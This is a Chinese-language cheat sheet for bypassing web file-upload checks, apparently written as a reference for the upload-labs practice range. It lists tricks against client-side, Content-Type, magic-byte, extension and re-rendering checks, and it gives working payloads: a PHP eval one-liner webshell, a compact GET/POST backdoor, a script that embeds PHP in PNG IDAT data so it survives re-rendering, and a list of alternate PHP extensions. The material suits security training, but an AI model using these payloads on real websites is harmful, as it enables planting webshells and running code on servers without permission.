可以参考upload-labs
检验规则
1、客户端javascript校验
通常在前端进行过滤,我们可以通过命名1.php.jpg上传,然后修改数据包文件名filename=1.php上传。或者直接禁用JS,上传1.php。都可以绕过前端验证。
可以参考upload-labs第一题
2.文件头content-type字段校验(image/gif)
这里可以参考upload-labs 第二题,通过修改Content-Type达到绕过检测
Content-Type : image/gifContent-Type : image/pngContent-Type : image/jpeg
Content-Type : application/x-phpContent-Type : application/octet-stream
3.文件内容头校验
应用程序根据其首个签名字节来识别文件类型。在文件中添加/替换它们可能会欺骗应用程序。
https://en.wikipedia.org/wiki/List_of_file_signatures
方式1:
可以使用winhex等软件在文件头内加入GIF87a的47 49 46 38 37 61 ,从而欺骗应用程序。
方式2:
在一句话木马前面再加一些图片文件信息,如
GIF89a<?php @eval($_POST['caidao']);?>
方式3:
Windows捆绑
copy 1.png /b + 2.php /a 3.png
4.后缀名黑/白名单校验:扩展名
黑名单:参考扩展名绕过。特殊可解析后缀、大小写、.
、$::DATA
、空格、嵌套、/.
、.htaccess、解析漏洞
白名单的绕过方法:00截断、解析漏洞。
5.文件内容校验:二次渲染
二次渲染绕过:
A:可以通过对比渲染前后的图片找到未被修改的位置加入恶意代码
B:二次渲染生成图片脚本
向PNG图片的IDAT数据块中插入PHP后门代码
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>
后门代码:
=$_GET[0]($_POST[1]);?>
扩展名绕过
php扩展名
.php.php3.php4.php5.php7.pht.phar.phpt.pgif.phtml.phtm.jpeg.php.jpg.php.png.